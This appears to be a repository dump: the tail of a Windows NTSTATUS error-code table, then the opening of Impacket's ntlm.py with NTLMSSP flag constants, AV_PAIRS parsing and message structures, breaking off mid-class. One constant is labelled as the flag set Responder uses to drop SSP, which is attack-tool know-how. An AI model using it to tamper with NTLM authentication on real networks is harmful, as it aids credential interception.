0xC01E0580\nSTATUS_GRAPHICS_I2C_DEVICE_DOES_NOT_EXIST                         = 0xC01E0581\nSTATUS_GRAPHICS_I2C_ERROR_TRANSMITTING_DATA                       = 0xC01E0582\nSTATUS_GRAPHICS_I2C_ERROR_RECEIVING_DATA                          = 0xC01E0583\nSTATUS_GRAPHICS_DDCCI_VCP_NOT_SUPPORTED                           = 0xC01E0584\nSTATUS_GRAPHICS_DDCCI_INVALID_DATA                                = 0xC01E0585\nSTATUS_GRAPHICS_DDCCI_MONITOR_RETURNED_INVALID_TIMING_STATUS_BYTE = 0xC01E0586\nSTATUS_GRAPHICS_DDCCI_INVALID_CAPABILITIES_STRING                 = 0xC01E0587\nSTATUS_GRAPHICS_MCA_INTERNAL_ERROR                                = 0xC01E0588\nSTATUS_GRAPHICS_DDCCI_INVALID_MESSAGE_COMMAND                     = 0xC01E0589\nSTATUS_GRAPHICS_DDCCI_INVALID_MESSAGE_LENGTH                      = 0xC01E058A\nSTATUS_GRAPHICS_DDCCI_INVALID_MESSAGE_CHECKSUM                    = 0xC01E058B\nSTATUS_GRAPHICS_INVALID_PHYSICAL_MONITOR_HANDLE                   = 0xC01E058C\nSTATUS_GRAPHICS_MONITOR_NO_LONGER_EXISTS                          = 0xC01E058D\nSTATUS_GRAPHICS_ONLY_CONSOLE_SESSION_SUPPORTED                    = 0xC01E05E0\nSTATUS_GRAPHICS_NO_DISPLAY_DEVICE_CORRESPONDS_TO_NAME             = 0xC01E05E1\nSTATUS_GRAPHICS_DISPLAY_DEVICE_NOT_ATTACHED_TO_DESKTOP            = 0xC01E05E2\nSTATUS_GRAPHICS_MIRRORING_DEVICES_NOT_SUPPORTED                   = 0xC01E05E3\nSTATUS_GRAPHICS_INVALID_POINTER                                   = 0xC01E05E4\nSTATUS_GRAPHICS_NO_MONITORS_CORRESPOND_TO_DISPLAY_DEVICE          = 0xC01E05E5\nSTATUS_GRAPHICS_PARAMETER_ARRAY_TOO_SMALL                         = 0xC01E05E6\nSTATUS_GRAPHICS_INTERNAL_ERROR                                    = 0xC01E05E7\nSTATUS_GRAPHICS_SESSION_TYPE_CHANGE_IN_PROGRESS                   = 0xC01E05E8\nSTATUS_FVE_LOCKED_VOLUME                                          = 0xC0210000\nSTATUS_FVE_NOT_ENCRYPTED                                          = 0xC0210001\nSTATUS_FVE_BAD_INFORMATION                                        = 0xC0210002\nSTATUS_FVE_TOO_SMALL                                              = 0xC0210003\nSTATUS_FVE_FAILED_WRONG_FS                                        = 0xC0210004\nSTATUS_FVE_FAILED_BAD_FS                                          = 0xC0210005\nSTATUS_FVE_FS_NOT_EXTENDED                                        = 0xC0210006\nSTATUS_FVE_FS_MOUNTED                                             = 0xC0210007\nSTATUS_FVE_NO_LICENSE                                             = 0xC0210008\nSTATUS_FVE_ACTION_NOT_ALLOWED                                     = 0xC0210009\nSTATUS_FVE_BAD_DATA                                               = 0xC021000A\nSTATUS_FVE_VOLUME_NOT_BOUND                                       = 0xC021000B\nSTATUS_FVE_NOT_DATA_VOLUME                                        = 0xC021000C\nSTATUS_FVE_CONV_READ_ERROR                                        = 0xC021000D\nSTATUS_FVE_CONV_WRITE_ERROR                                       = 0xC021000E\nSTATUS_FVE_OVERLAPPED_UPDATE                                      = 0xC021000F\nSTATUS_FVE_FAILED_SECTOR_SIZE                                     = 0xC0210010\nSTATUS_FVE_FAILED_AUTHENTICATION                                  = 0xC0210011\nSTATUS_FVE_NOT_OS_VOLUME                                          = 0xC0210012\nSTATUS_FVE_KEYFILE_NOT_FOUND                                      = 0xC0210013\nSTATUS_FVE_KEYFILE_INVALID                                        = 0xC0210014\nSTATUS_FVE_KEYFILE_NO_VMK                                         = 0xC0210015\nSTATUS_FVE_TPM_DISABLED                                           = 0xC0210016\nSTATUS_FVE_TPM_SRK_AUTH_NOT_ZERO                                  = 0xC0210017\nSTATUS_FVE_TPM_INVALID_PCR                                        = 0xC0210018\nSTATUS_FVE_TPM_NO_VMK                                             = 0xC0210019\nSTATUS_FVE_PIN_INVALID                                            = 0xC021001A\nSTATUS_FVE_AUTH_INVALID_APPLICATION                               = 0xC021001B\nSTATUS_FVE_AUTH_INVALID_CONFIG                                    = 0xC021001C\nSTATUS_FVE_DEBUGGER_ENABLED                                       = 0xC021001D\nSTATUS_FVE_DRY_RUN_FAILED                                         = 0xC021001E\nSTATUS_FVE_BAD_METADATA_POINTER                                   = 0xC021001F\nSTATUS_FVE_OLD_METADATA_COPY                                      = 0xC0210020\nSTATUS_FVE_REBOOT_REQUIRED                                        = 0xC0210021\nSTATUS_FVE_RAW_ACCESS                                             = 0xC0210022\nSTATUS_FVE_RAW_BLOCKED                                            = 0xC0210023\nSTATUS_FVE_NO_FEATURE_LICENSE                                     = 0xC0210026\nSTATUS_FVE_POLICY_USER_DISABLE_RDV_NOT_ALLOWED                    = 0xC0210027\nSTATUS_FVE_CONV_RECOVERY_FAILED                                   = 0xC0210028\nSTATUS_FVE_VIRTUALIZED_SPACE_TOO_BIG                              = 0xC0210029\nSTATUS_FVE_VOLUME_TOO_SMALL                                       = 0xC0210030\nSTATUS_FWP_CALLOUT_NOT_FOUND                                      = 0xC0220001\nSTATUS_FWP_CONDITION_NOT_FOUND                                    = 0xC0220002\nSTATUS_FWP_FILTER_NOT_FOUND                                       = 0xC0220003\nSTATUS_FWP_LAYER_NOT_FOUND                                        = 0xC0220004\nSTATUS_FWP_PROVIDER_NOT_FOUND                                     = 0xC0220005\nSTATUS_FWP_PROVIDER_CONTEXT_NOT_FOUND                             = 0xC0220006\nSTATUS_FWP_SUBLAYER_NOT_FOUND                                     = 0xC0220007\nSTATUS_FWP_NOT_FOUND                                              = 0xC0220008\nSTATUS_FWP_ALREADY_EXISTS                                         = 0xC0220009\nSTATUS_FWP_IN_USE                                                 = 0xC022000A\nSTATUS_FWP_DYNAMIC_SESSION_IN_PROGRESS                            = 0xC022000B\nSTATUS_FWP_WRONG_SESSION                                          = 0xC022000C\nSTATUS_FWP_NO_TXN_IN_PROGRESS                                     = 0xC022000D\nSTATUS_FWP_TXN_IN_PROGRESS                                        = 0xC022000E\nSTATUS_FWP_TXN_ABORTED                                            = 0xC022000F\nSTATUS_FWP_SESSION_ABORTED                                        = 0xC0220010\nSTATUS_FWP_INCOMPATIBLE_TXN                                       = 0xC0220011\nSTATUS_FWP_TIMEOUT                                                = 0xC0220012\nSTATUS_FWP_NET_EVENTS_DISABLED                                    = 0xC0220013\nSTATUS_FWP_INCOMPATIBLE_LAYER                                     = 0xC0220014\nSTATUS_FWP_KM_CLIENTS_ONLY                                        = 0xC0220015\nSTATUS_FWP_LIFETIME_MISMATCH                                      = 0xC0220016\nSTATUS_FWP_BUILTIN_OBJECT                                         = 0xC0220017\nSTATUS_FWP_TOO_MANY_BOOTTIME_FILTERS                              = 0xC0220018\nSTATUS_FWP_TOO_MANY_CALLOUTS                                      = 0xC0220018\nSTATUS_FWP_NOTIFICATION_DROPPED                                   = 0xC0220019\nSTATUS_FWP_TRAFFIC_MISMATCH                                       = 0xC022001A\nSTATUS_FWP_INCOMPATIBLE_SA_STATE                                  = 0xC022001B\nSTATUS_FWP_NULL_POINTER                                           = 0xC022001C\nSTATUS_FWP_INVALID_ENUMERATOR                                     = 0xC022001D\nSTATUS_FWP_INVALID_FLAGS                                          = 0xC022001E\nSTATUS_FWP_INVALID_NET_MASK                                       = 0xC022001F\nSTATUS_FWP_INVALID_RANGE                                          = 0xC0220020\nSTATUS_FWP_INVALID_INTERVAL                                       = 0xC0220021\nSTATUS_FWP_ZERO_LENGTH_ARRAY                                      = 0xC0220022\nSTATUS_FWP_NULL_DISPLAY_NAME                                      = 0xC0220023\nSTATUS_FWP_INVALID_ACTION_TYPE                                    = 0xC0220024\nSTATUS_FWP_INVALID_WEIGHT                                         = 0xC0220025\nSTATUS_FWP_MATCH_TYPE_MISMATCH                                    = 0xC0220026\nSTATUS_FWP_TYPE_MISMATCH                                          = 0xC0220027\nSTATUS_FWP_OUT_OF_BOUNDS                                          = 0xC0220028\nSTATUS_FWP_RESERVED                                               = 0xC0220029\nSTATUS_FWP_DUPLICATE_CONDITION                                    = 0xC022002A\nSTATUS_FWP_DUPLICATE_KEYMOD                                       = 0xC022002B\nSTATUS_FWP_ACTION_INCOMPATIBLE_WITH_LAYER                         = 0xC022002C\nSTATUS_FWP_ACTION_INCOMPATIBLE_WITH_SUBLAYER                      = 0xC022002D\nSTATUS_FWP_CONTEXT_INCOMPATIBLE_WITH_LAYER                        = 0xC022002E\nSTATUS_FWP_CONTEXT_INCOMPATIBLE_WITH_CALLOUT                      = 0xC022002F\nSTATUS_FWP_INCOMPATIBLE_AUTH_METHOD                               = 0xC0220030\nSTATUS_FWP_INCOMPATIBLE_DH_GROUP                                  = 0xC0220031\nSTATUS_FWP_EM_NOT_SUPPORTED                                       = 0xC0220032\nSTATUS_FWP_NEVER_MATCH                                            = 0xC0220033\nSTATUS_FWP_PROVIDER_CONTEXT_MISMATCH                              = 0xC0220034\nSTATUS_FWP_INVALID_PARAMETER                                      = 0xC0220035\nSTATUS_FWP_TOO_MANY_SUBLAYERS                                     = 0xC0220036\nSTATUS_FWP_CALLOUT_NOTIFICATION_FAILED                            = 0xC0220037\nSTATUS_FWP_INCOMPATIBLE_AUTH_CONFIG                               = 0xC0220038\nSTATUS_FWP_INCOMPATIBLE_CIPHER_CONFIG                             = 0xC0220039\nSTATUS_FWP_DUPLICATE_AUTH_METHOD                                  = 0xC022003C\nSTATUS_FWP_TCPIP_NOT_READY                                        = 0xC0220100\nSTATUS_FWP_INJECT_HANDLE_CLOSING                                  = 0xC0220101\nSTATUS_FWP_INJECT_HANDLE_STALE                                    = 0xC0220102\nSTATUS_FWP_CANNOT_PEND                                            = 0xC0220103\nSTATUS_NDIS_CLOSING                                               = 0xC0230002\nSTATUS_NDIS_BAD_VERSION                                           = 0xC0230004\nSTATUS_NDIS_BAD_CHARACTERISTICS                                   = 0xC0230005\nSTATUS_NDIS_ADAPTER_NOT_FOUND                                     = 0xC0230006\nSTATUS_NDIS_OPEN_FAILED                                           = 0xC0230007\nSTATUS_NDIS_DEVICE_FAILED                                         = 0xC0230008\nSTATUS_NDIS_MULTICAST_FULL                                        = 0xC0230009\nSTATUS_NDIS_MULTICAST_EXISTS                                      = 0xC023000A\nSTATUS_NDIS_MULTICAST_NOT_FOUND                                   = 0xC023000B\nSTATUS_NDIS_REQUEST_ABORTED                                       = 0xC023000C\nSTATUS_NDIS_RESET_IN_PROGRESS                                     = 0xC023000D\nSTATUS_NDIS_INVALID_PACKET                                        = 0xC023000F\nSTATUS_NDIS_INVALID_DEVICE_REQUEST                                = 0xC0230010\nSTATUS_NDIS_ADAPTER_NOT_READY                                     = 0xC0230011\nSTATUS_NDIS_INVALID_LENGTH                                        = 0xC0230014\nSTATUS_NDIS_INVALID_DATA                                          = 0xC0230015\nSTATUS_NDIS_BUFFER_TOO_SHORT                                      = 0xC0230016\nSTATUS_NDIS_INVALID_OID                                           = 0xC0230017\nSTATUS_NDIS_ADAPTER_REMOVED                                       = 0xC0230018\nSTATUS_NDIS_UNSUPPORTED_MEDIA                                     = 0xC0230019\nSTATUS_NDIS_GROUP_ADDRESS_IN_USE                                  = 0xC023001A\nSTATUS_NDIS_FILE_NOT_FOUND                                        = 0xC023001B\nSTATUS_NDIS_ERROR_READING_FILE                                    = 0xC023001C\nSTATUS_NDIS_ALREADY_MAPPED                                        = 0xC023001D\nSTATUS_NDIS_RESOURCE_CONFLICT                                     = 0xC023001E\nSTATUS_NDIS_MEDIA_DISCONNECTED                                    = 0xC023001F\nSTATUS_NDIS_INVALID_ADDRESS                                       = 0xC0230022\nSTATUS_NDIS_PAUSED                                                = 0xC023002A\nSTATUS_NDIS_INTERFACE_NOT_FOUND                                   = 0xC023002B\nSTATUS_NDIS_UNSUPPORTED_REVISION                                  = 0xC023002C\nSTATUS_NDIS_INVALID_PORT                                          = 0xC023002D\nSTATUS_NDIS_INVALID_PORT_STATE                                    = 0xC023002E\nSTATUS_NDIS_LOW_POWER_STATE                                       = 0xC023002F\nSTATUS_NDIS_NOT_SUPPORTED                                         = 0xC02300BB\nSTATUS_NDIS_OFFLOAD_POLICY                                        = 0xC023100F\nSTATUS_NDIS_OFFLOAD_CONNECTION_REJECTED                           = 0xC0231012\nSTATUS_NDIS_OFFLOAD_PATH_REJECTED                                 = 0xC0231013\nSTATUS_NDIS_DOT11_AUTO_CONFIG_ENABLED                             = 0xC0232000\nSTATUS_NDIS_DOT11_MEDIA_IN_USE                                    = 0xC0232001\nSTATUS_NDIS_DOT11_POWER_STATE_INVALID                             = 0xC0232002\nSTATUS_NDIS_PM_WOL_PATTERN_LIST_FULL                              = 0xC0232003\nSTATUS_NDIS_PM_PROTOCOL_OFFLOAD_LIST_FULL                         = 0xC0232004\nSTATUS_IPSEC_BAD_SPI                                              = 0xC0360001\nSTATUS_IPSEC_SA_LIFETIME_EXPIRED                                  = 0xC0360002\nSTATUS_IPSEC_WRONG_SA                                             = 0xC0360003\nSTATUS_IPSEC_REPLAY_CHECK_FAILED                                  = 0xC0360004\nSTATUS_IPSEC_INVALID_PACKET                                       = 0xC0360005\nSTATUS_IPSEC_INTEGRITY_CHECK_FAILED                               = 0xC0360006\nSTATUS_IPSEC_CLEAR_TEXT_DROP                                      = 0xC0360007\nSTATUS_IPSEC_AUTH_FIREWALL_DROP                                   = 0xC0360008\nSTATUS_IPSEC_THROTTLE_DROP                                        = 0xC0360009\nSTATUS_IPSEC_DOSP_BLOCK                                           = 0xC0368000\nSTATUS_IPSEC_DOSP_RECEIVED_MULTICAST                              = 0xC0368001\nSTATUS_IPSEC_DOSP_INVALID_PACKET                                  = 0xC0368002\nSTATUS_IPSEC_DOSP_STATE_LOOKUP_FAILED                             = 0xC0368003\nSTATUS_IPSEC_DOSP_MAX_ENTRIES                                     = 0xC0368004\nSTATUS_IPSEC_DOSP_KEYMOD_NOT_ALLOWED                              = 0xC0368005\nSTATUS_IPSEC_DOSP_MAX_PER_IP_RATELIMIT_QUEUES                     = 0xC0368006\nSTATUS_VOLMGR_MIRROR_NOT_SUPPORTED                                = 0xC038005B\nSTATUS_VOLMGR_RAID5_NOT_SUPPORTED                                 = 0xC038005C\nSTATUS_VIRTDISK_PROVIDER_NOT_FOUND                                = 0xC03A0014\nSTATUS_VIRTDISK_NOT_VIRTUAL_DISK                                  = 0xC03A0015\nSTATUS_VHD_PARENT_VHD_ACCESS_DENIED                               = 0xC03A0016\nSTATUS_VHD_CHILD_PARENT_SIZE_MISMATCH                             = 0xC03A0017\nSTATUS_VHD_DIFFERENCING_CHAIN_CYCLE_DETECTED                      = 0xC03A0018\nSTATUS_VHD_DIFFERENCING_CHAIN_ERROR_IN_PARENT                     = 0xC03A0019\n"
  },
  {
    "path": "impacket/ntlm.py",
    "content": "# Impacket - Collection of Python classes for working with network protocols.\n#\n# Copyright Fortra, LLC and its affiliated companies \n#\n# All rights reserved.\n#\n# This software is provided under a slightly modified version\n# of the Apache Software License. See the accompanying LICENSE file\n# for more information.\n#\n\nfrom __future__ import division\nfrom __future__ import print_function\nimport base64\nimport struct\nimport calendar\nimport time\nimport hashlib\nimport random\nimport string\nimport binascii\nfrom six import b\n\nfrom impacket.structure import Structure\nfrom impacket import LOG\n\n\n# This is important. NTLMv2 is not negotiated by the client or server. \n# It is used if set locally on both sides. Change this item if you don't want to use \n# NTLMv2 by default and fall back to NTLMv1 (with EXTENDED_SESSION_SECURITY or not)\n# Check the following links:\n# https://davenport.sourceforge.io/ntlm.html\n# https://blogs.msdn.microsoft.com/openspecification/2010/04/19/ntlm-keys-and-sundry-stuff/\n# https://social.msdn.microsoft.com/Forums/c8f488ed-1b96-4e06-bd65-390aa41138d1/msnlmp-msntht-determining-ntlm-v1-or-v2-in-http-authentication?forum=os_specifications\n# So I'm setting a global variable to control this, this can also be set programmatically\n\nUSE_NTLMv2 = True # if false will fall back to NTLMv1 (or NTLMv1 with ESS a.k.a NTLM2)\nTEST_CASE = False # Only set to True when running Test Cases\n\nDEFAULT_LM_HASH = binascii.unhexlify('AAD3B435B51404EEAAD3B435B51404EE')\n\ndef computeResponse(flags, serverChallenge, clientChallenge, serverName, domain, user, password, lmhash='', nthash='',\n                    use_ntlmv2=USE_NTLMv2, channel_binding_value=b'', service='cifs'):\n    if use_ntlmv2:\n        return computeResponseNTLMv2(flags, serverChallenge, clientChallenge, serverName, domain, user, password,\n                                     lmhash, nthash, use_ntlmv2=use_ntlmv2, channel_binding_value=channel_binding_value, service=service)\n    else:\n        return computeResponseNTLMv1(flags, serverChallenge, clientChallenge, serverName, domain, user, password,\n                                     lmhash, nthash, use_ntlmv2=use_ntlmv2)\ntry:\n    from Cryptodome.Cipher import ARC4\n    from Cryptodome.Cipher import DES\n    from Cryptodome.Hash import MD4\nexcept Exception:\n    LOG.critical(\"Warning: You don't have any crypto installed. You need pycryptodomex\")\n    LOG.critical(\"See https://pypi.org/project/pycryptodomex/\")\n\nNTLM_AUTH_NONE          = 1\nNTLM_AUTH_CONNECT       = 2\nNTLM_AUTH_CALL          = 3\nNTLM_AUTH_PKT           = 4\nNTLM_AUTH_PKT_INTEGRITY = 5\nNTLM_AUTH_PKT_PRIVACY   = 6\n\n# If set, requests 56-bit encryption. If the client sends NTLMSSP_NEGOTIATE_SEAL or NTLMSSP_NEGOTIATE_SIGN\n# with NTLMSSP_NEGOTIATE_56 to the server in the NEGOTIATE_MESSAGE, the server MUST return NTLMSSP_NEGOTIATE_56 to\n# the client in the CHALLENGE_MESSAGE. Otherwise it is ignored. If both NTLMSSP_NEGOTIATE_56 and NTLMSSP_NEGOTIATE_128\n# are requested and supported by the client and server, NTLMSSP_NEGOTIATE_56 and NTLMSSP_NEGOTIATE_128 will both be\n# returned to the client. Clients and servers that set NTLMSSP_NEGOTIATE_SEAL SHOULD set NTLMSSP_NEGOTIATE_56 if it is\n# supported. An alternate name for this field is NTLMSSP_NEGOTIATE_56.\nNTLMSSP_NEGOTIATE_56                       = 0x80000000\n\n# If set, requests an explicit key exchange. This capability SHOULD be used because it improves security for message\n# integrity or confidentiality. See sections 3.2.5.1.2, 3.2.5.2.1, and 3.2.5.2.2 for details. An alternate name for\n# this field is NTLMSSP_NEGOTIATE_KEY_EXCH.\nNTLMSSP_NEGOTIATE_KEY_EXCH                 = 0x40000000\n\n# If set, requests 128-bit session key negotiation. An alternate name for this field is NTLMSSP_NEGOTIATE_128.\n# If the client sends NTLMSSP_NEGOTIATE_128 to the server in the NEGOTIATE_MESSAGE, the server MUST return\n# NTLMSSP_NEGOTIATE_128 to the client in the CHALLENGE_MESSAGE only if the client sets NTLMSSP_NEGOTIATE_SEAL or\n# NTLMSSP_NEGOTIATE_SIGN. Otherwise it is ignored. If both NTLMSSP_NEGOTIATE_56 and NTLMSSP_NEGOTIATE_128 are\n# requested and supported by the client and server, NTLMSSP_NEGOTIATE_56 and NTLMSSP_NEGOTIATE_128 will both be\n# returned to the client. Clients and servers that set NTLMSSP_NEGOTIATE_SEAL SHOULD set NTLMSSP_NEGOTIATE_128 if it\n# is supported. An alternate name for this field is NTLMSSP_NEGOTIATE_128\nNTLMSSP_NEGOTIATE_128                      = 0x20000000\n\nNTLMSSP_RESERVED_1                         = 0x10000000\nNTLMSSP_RESERVED_2                         = 0x08000000\nNTLMSSP_RESERVED_3                         = 0x04000000\n\n# If set, requests the protocol version number. The data corresponding to this flag is provided in the Version field\n# of the NEGOTIATE_MESSAGE, the CHALLENGE_MESSAGE, and the AUTHENTICATE_MESSAGE.<22> An alternate name for this field\n# is NTLMSSP_NEGOTIATE_VERSION\nNTLMSSP_NEGOTIATE_VERSION                  = 0x02000000\nNTLMSSP_RESERVED_4                         = 0x01000000\n\n# If set, indicates that the TargetInfo fields in the CHALLENGE_MESSAGE (section 2.2.1.2) are populated.\n# An alternate name for this field is NTLMSSP_NEGOTIATE_TARGET_INFO.\nNTLMSSP_NEGOTIATE_TARGET_INFO              = 0x00800000\n\n# If set, requests the usage of the LMOWF (section 3.3). An alternate name for this field is\n# NTLMSSP_REQUEST_NON_NT_SESSION_KEY.\nNTLMSSP_REQUEST_NON_NT_SESSION_KEY         = 0x00400000\nNTLMSSP_RESERVED_5                         = 0x00200000\n\n# If set, requests an identify level token. An alternate name for this field is NTLMSSP_NEGOTIATE_IDENTIFY\nNTLMSSP_NEGOTIATE_IDENTIFY                 = 0x00100000\n\n# If set, requests usage of the NTLM v2 session security. NTLM v2 session security is a misnomer because it is not\n# NTLM v2. It is NTLM v1 using the extended session security that is also in NTLM v2. NTLMSSP_NEGOTIATE_LM_KEY and\n# NTLMSSP_NEGOTIATE_EXTENDED_SESSIONSECURITY are mutually exclusive. If both NTLMSSP_NEGOTIATE_EXTENDED_SESSIONSECURITY\n# and NTLMSSP_NEGOTIATE_LM_KEY are requested, NTLMSSP_NEGOTIATE_EXTENDED_SESSIONSECURITY alone MUST be returned to the\n# client. NTLM v2 authentication session key generation MUST be supported by both the client and the DC in order to be\n# used, and extended session security signing and sealing requires support from the client and the server in order to\n# be used.<23> An alternate name for this field is NTLMSSP_NEGOTIATE_EXTENDED_SESSIONSECURITY\nNTLMSSP_NEGOTIATE_EXTENDED_SESSIONSECURITY = 0x00080000\nNTLMSSP_NEGOTIATE_NTLM2                    = 0x00080000\nNTLMSSP_TARGET_TYPE_SHARE                  = 0x00040000\n\n# If set, TargetName MUST be a server name. The data corresponding to this flag is provided by the server in the\n# TargetName field of the CHALLENGE_MESSAGE. If this bit is set, then NTLMSSP_TARGET_TYPE_DOMAIN MUST NOT be set.\n# This flag MUST be ignored in the NEGOTIATE_MESSAGE and the AUTHENTICATE_MESSAGE. An alternate name for this field\n# is NTLMSSP_TARGET_TYPE_SERVER\nNTLMSSP_TARGET_TYPE_SERVER                 = 0x00020000\n\n# If set, TargetName MUST be a domain name. The data corresponding to this flag is provided by the server in the\n# TargetName field of the CHALLENGE_MESSAGE. If set, then NTLMSSP_TARGET_TYPE_SERVER MUST NOT be set. This flag MUST\n# be ignored in the NEGOTIATE_MESSAGE and the AUTHENTICATE_MESSAGE. An alternate name for this field is\n# NTLMSSP_TARGET_TYPE_DOMAIN.\nNTLMSSP_TARGET_TYPE_DOMAIN                 = 0x00010000\n\n# If set, requests the presence of a signature block on all messages. NTLMSSP_NEGOTIATE_ALWAYS_SIGN MUST be set in the\n# NEGOTIATE_MESSAGE to the server and the CHALLENGE_MESSAGE to the client. NTLMSSP_NEGOTIATE_ALWAYS_SIGN is overridden\n# by NTLMSSP_NEGOTIATE_SIGN and NTLMSSP_NEGOTIATE_SEAL, if they are supported. An alternate name for this field is\n# NTLMSSP_NEGOTIATE_ALWAYS_SIGN.\nNTLMSSP_NEGOTIATE_ALWAYS_SIGN              = 0x00008000       # forces the other end to sign packets\nNTLMSSP_RESERVED_6                         = 0x00004000\n\n# This flag indicates whether the Workstation field is present. If this flag is not set, the Workstation field MUST be\n# ignored. If this flag is set, the length field of the Workstation field specifies whether the workstation name is\n# nonempty or not.<24> An alternate name for this field is NTLMSSP_NEGOTIATE_OEM_WORKSTATION_SUPPLIED.\nNTLMSSP_NEGOTIATE_OEM_WORKSTATION_SUPPLIED = 0x00002000\n\n# If set, the domain name is provided (section 2.2.1.1).<25> An alternate name for this field is\n# NTLMSSP_NEGOTIATE_OEM_DOMAIN_SUPPLIED\nNTLMSSP_NEGOTIATE_OEM_DOMAIN_SUPPLIED      = 0x00001000\n\n# If set, the connection SHOULD be anonymous\nNTLMSSP_NEGOTIATE_ANONYMOUS                = 0x00000800\n\n# Flags used by Responder to drop SSP (little endian)\nNTLMSSP_DROP_SSP_STATIC                    = 0xe2818215\n\n# If set, LM authentication is not allowed and only NT authentication is used.\nNTLMSSP_NEGOTIATE_NT_ONLY                  = 0x00000400\n\n# If set, requests usage of the NTLM v1 session security protocol. NTLMSSP_NEGOTIATE_NTLM MUST be set in the\n# NEGOTIATE_MESSAGE to the server and the CHALLENGE_MESSAGE to the client. An alternate name for this field is\n# NTLMSSP_NEGOTIATE_NTLM\nNTLMSSP_NEGOTIATE_NTLM                     = 0x00000200\nNTLMSSP_RESERVED_8                         = 0x00000100\n\n# If set, requests LAN Manager (LM) session key computation. NTLMSSP_NEGOTIATE_LM_KEY and\n# NTLMSSP_NEGOTIATE_EXTENDED_SESSIONSECURITY are mutually exclusive. If both NTLMSSP_NEGOTIATE_LM_KEY and\n# NTLMSSP_NEGOTIATE_EXTENDED_SESSIONSECURITY are requested, NTLMSSP_NEGOTIATE_EXTENDED_SESSIONSECURITY alone MUST be\n# returned to the client. NTLM v2 authentication session key generation MUST be supported by both the client and the\n# DC in order to be used, and extended session security signing and sealing requires support from the client and the\n# server to be used. An alternate name for this field is NTLMSSP_NEGOTIATE_LM_KEY.\nNTLMSSP_NEGOTIATE_LM_KEY                   = 0x00000080\n\n# If set, requests connectionless authentication. If NTLMSSP_NEGOTIATE_DATAGRAM is set, then NTLMSSP_NEGOTIATE_KEY_EXCH\n# MUST always be set in the AUTHENTICATE_MESSAGE to the server and the CHALLENGE_MESSAGE to the client. An alternate\n# name for this field is NTLMSSP_NEGOTIATE_DATAGRAM.\nNTLMSSP_NEGOTIATE_DATAGRAM                 = 0x00000040\n\n# If set, requests session key negotiation for message confidentiality. If the client sends NTLMSSP_NEGOTIATE_SEAL to\n# the server in the NEGOTIATE_MESSAGE, the server MUST return NTLMSSP_NEGOTIATE_SEAL to the client in the\n# CHALLENGE_MESSAGE. Clients and servers that set NTLMSSP_NEGOTIATE_SEAL SHOULD always set NTLMSSP_NEGOTIATE_56 and\n# NTLMSSP_NEGOTIATE_128, if they are supported. An alternate name for this field is NTLMSSP_NEGOTIATE_SEAL.\nNTLMSSP_NEGOTIATE_SEAL                     = 0x00000020\n\n# If set, requests session key negotiation for message signatures. If the client sends NTLMSSP_NEGOTIATE_SIGN to the\n# server in the NEGOTIATE_MESSAGE, the server MUST return NTLMSSP_NEGOTIATE_SIGN to the client in the CHALLENGE_MESSAGE.\n# An alternate name for this field is NTLMSSP_NEGOTIATE_SIGN.\nNTLMSSP_NEGOTIATE_SIGN                     = 0x00000010       # means packet is signed, if verifier is wrong it fails\nNTLMSSP_RESERVED_9                         = 0x00000008\n\n# If set, a TargetName field of the CHALLENGE_MESSAGE (section 2.2.1.2) MUST be supplied. An alternate name for this\n# field is NTLMSSP_REQUEST_TARGET.\nNTLMSSP_REQUEST_TARGET                     = 0x00000004\n\n# If set, requests OEM character set encoding. An alternate name for this field is NTLM_NEGOTIATE_OEM. See bit A for\n# details.\nNTLM_NEGOTIATE_OEM                         = 0x00000002\n\n# If set, requests Unicode character set encoding. An alternate name for this field is NTLMSSP_NEGOTIATE_UNICODE.\nNTLMSSP_NEGOTIATE_UNICODE                  = 0x00000001\n\n# NTLMSSP Message Types\nNTLMSSP_AUTH_NEGOTIATE          = 0x01\nNTLMSSP_AUTH_CHALLENGE          = 0x02\nNTLMSSP_AUTH_CHALLENGE_RESPONSE = 0x03\n\n# AV_PAIR constants\nNTLMSSP_AV_EOL              = 0x00\nNTLMSSP_AV_HOSTNAME         = 0x01\nNTLMSSP_AV_DOMAINNAME       = 0x02\nNTLMSSP_AV_DNS_HOSTNAME     = 0x03\nNTLMSSP_AV_DNS_DOMAINNAME   = 0x04\nNTLMSSP_AV_DNS_TREENAME     = 0x05\nNTLMSSP_AV_FLAGS            = 0x06\nNTLMSSP_AV_TIME             = 0x07\nNTLMSSP_AV_RESTRICTIONS     = 0x08\nNTLMSSP_AV_TARGET_NAME      = 0x09\nNTLMSSP_AV_CHANNEL_BINDINGS = 0x0a\n\nclass AV_PAIRS:\n    def __init__(self, data = None):\n        self.fields = {}\n        if data is not None:\n            self.fromString(data)\n\n    def __setitem__(self,key,value):\n        self.fields[key] = (len(value),value)\n\n    def __getitem__(self, key):\n        if key in self.fields:\n           return self.fields[key]\n        return None\n\n    def __contains__(self, key):\n        return key in self.fields\n\n    def __iter__(self):\n        return iter(self.fields)\n\n    def __delitem__(self, key):\n        del self.fields[key]\n\n    def __len__(self):\n        return len(self.getData())\n\n    def __str__(self):\n        return len(self.getData())\n\n    def fromString(self, data):\n        tInfo = data\n        fType = 0xff\n        while fType is not NTLMSSP_AV_EOL:\n            fType = struct.unpack('<H',tInfo[:struct.calcsize('<H')])[0]\n            tInfo = tInfo[struct.calcsize('<H'):]\n            length = struct.unpack('<H',tInfo[:struct.calcsize('<H')])[0]\n            tInfo = tInfo[struct.calcsize('<H'):]\n            content = tInfo[:length]\n            self.fields[fType]=(length,content)\n            tInfo = tInfo[length:]\n\n    def dump(self):\n        for i in list(self.fields.keys()):\n            print(\"%s: {%r}\" % (i,self[i]))\n\n    def getData(self):\n        if NTLMSSP_AV_EOL in self.fields:\n            del self.fields[NTLMSSP_AV_EOL]\n        ans = b''\n        for i in list(self.fields.keys()):\n            ans+= struct.pack('<HH', i, self[i][0])\n            ans+= self[i][1]\n \n        # end with a NTLMSSP_AV_EOL\n        ans += struct.pack('<HH', NTLMSSP_AV_EOL, 0)\n\n        return ans\n\n# [MS-NLMP] 2.2.2.10 VERSION\n# https://docs.microsoft.com/en-us/openspecs/windows_protocols/ms-nlmp/b1a6ceb2-f8ad-462b-b5af-f18527c48175\nclass VERSION(Structure):\n    NTLMSSP_REVISION_W2K3 = 0x0F\n\n    structure = (\n        ('ProductMajorVersion', '<B=0'),\n        ('ProductMinorVersion', '<B=0'),\n        ('ProductBuild', '<H=0'),\n        ('Reserved', '3s=\"\"'),\n        ('NTLMRevisionCurrent', '<B=self.NTLMSSP_REVISION_W2K3'),\n    )\n\nclass NTLMAuthNegotiate(Structure):\n\n    structure = (\n        ('','\"NTLMSSP\\x00'),\n        ('message_type','<L=1'),\n        